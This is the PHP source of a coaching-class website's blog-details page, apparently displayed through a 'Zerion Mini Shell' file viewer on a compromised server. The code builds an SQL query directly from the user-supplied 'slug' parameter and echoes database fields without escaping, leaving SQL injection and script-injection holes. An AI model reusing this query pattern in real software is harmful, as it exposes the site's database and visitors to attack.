ok

Mini Shell

Direktori : /home/importfo/public_html/aadharclasses.in/
Upload File :
Current File : /home/importfo/public_html/aadharclasses.in/blog-details.php

<!DOCTYPE html>
<html class="no-js" lang="zxx">


<!-- Mirrored from edublink.html.devsblink.com/blog-details.html by HTTrack Website Copier/3.x [XR&CO'2014], Thu, 23 Feb 2023 09:29:32 GMT -->
<head>
    <!-- Meta Data -->
       <title>Blog Detail | Aadhar Classes - Vadodara.</title>
        <?php include('links.php') ?>

</head>

<body class="sticky-header ">


    <div id="main-wrapper" class="main-wrapper">

        <!--=====================================-->
        <!--=        Header Area Start          =-->
        <!--=====================================-->
       <?php include('header.php') ?>
        <!--=====================================-->
        <!--=       Breadcrumb Area Start      =-->
        <!--=====================================-->


        <div class="edu-breadcrumb-area breadcrumb-style-2 bg-image bg-image--19">
            <div class="container">
                <div class="breadcrumb-inner">
                    <div class="page-title">
                        <h1 class="title">Blog Details</h1>
                    </div>
                    <ul class="edu-breadcrumb">
                        <li class="breadcrumb-item"><a href="index.php">Home</a></li>
                        <li class="separator"><i class="icon-angle-right"></i></li>
                        <li class="breadcrumb-item"><a href="blog.php">Blog</a></li>
                        <li class="separator"><i class="icon-angle-right"></i></li>
                        <li class="breadcrumb-item active" aria-current="page">Blog Details</li>
                    </ul>
                </div>
            </div>
        </div>

        <!--=====================================-->
        <!--=       Blog Details Area Start     =-->
        <!--=====================================-->
         <?php 
                            if(isset($_GET['slug']))
                            {
                              $slug=$_GET['slug'];
                            }
                            else
                            {
                              $slug=0;
                            }
                             $sql1="select * from `blog` where id='$slug' ";
                            $res1=mysqli_query($db,$sql1);
                            $row6=mysqli_fetch_array($res1);
                            $title=$row6['title'];
                            //$title_slug=$row6['title_slug'];
                            $post_date=$row6['post_date'];
                            $post_by=$row6['post_by'];
                            $post_desc=$row6['post_desc'];
                            $img=$row6['image'];
                            ?>
        <div class="blog-details-area section-gap-equal">
            <div class="container">
                <div class="row row--30">
                    <div class="col-lg-8">
                        <div class="blog-details-content">
                            <div class="entry-content">
                                <span class="category">Blog</span>
                                <h3 class="title"><?php echo $title; ?></h3>
                                <ul class="blog-meta">
                                    <li><i class="icon-27"></i><?php echo $post_date; ?></li>
                                    <li><i class="icon-28"></i><?php echo $post_by; ?></li>
                                </ul>
                                <div class="thumbnail">
                                    <img src="admin/upload/<?php echo $img; ?>" alt="Blog Image">
                                </div>
                            </div>
                            <p><?php echo $post_desc ?></p>
                           
                        </div>
                    </div>
                    <div class="col-lg-4">
                        <div class="edu-blog-sidebar">
                           
                            <!-- Start Single Widget  -->
                            <div class="edu-blog-widget widget-latest-post">
                                <div class="inner">
                                    <h4 class="widget-title">Latest Post</h4>
                                    <div class="content latest-post-list">
                                        
                                         <?php
                                                          $sql="SELECT * FROM `blog` order by id desc limit 4";
                                                            $res=mysqli_query($db,$sql);
                                                            while($row=mysqli_fetch_array($res))
                                                            {
                                                        ?>
                                        <div class="latest-post">
                                            <div class="thumbnail">
                                                <a href="blog-details.php?slug=<?php echo $row['id']; ?>">
                                                    <img src="admin/upload/<?php echo$row['image']; ?>" alt="Blog Images">
                                                </a>
                                            </div>
                                            <div class="post-content">
                                                <h6 class="title"><a href="blog-details.php?slug=<?php echo $row['id']; ?>"><?php echo $row['title']; ?></a></h6>
                                                <ul class="blog-meta">
                                                    <li><i class="icon-27"></i><?php echo $row['post_date']; ?></li>
                                                </ul>
                                            </div>
                                        </div>
                                          <?php } ?>
                                    </div>
                                </div>
                            </div>
                            <!-- End Single Widget  -->
                           
                        </div>
                    </div>
                </div>
            </div>
        </div>
      
        <!--=====================================-->
        <!--=        Footer Area Start          =-->
        <!--=====================================-->
        <!-- Start Footer Area  -->
      <?php include('footer.php') ?>
        <!-- End Footer Area  -->



    </div>

   

    <!-- JS
    ============================================ -->
    <!-- Modernizer JS -->
  <?php include('javascript.php') ?>
</body>


<!-- Mirrored from edublink.html.devsblink.com/blog-details.html by HTTrack Website Copier/3.x [XR&CO'2014], Thu, 23 Feb 2023 09:29:35 GMT -->
</html>

Zerion Mini Shell 1.0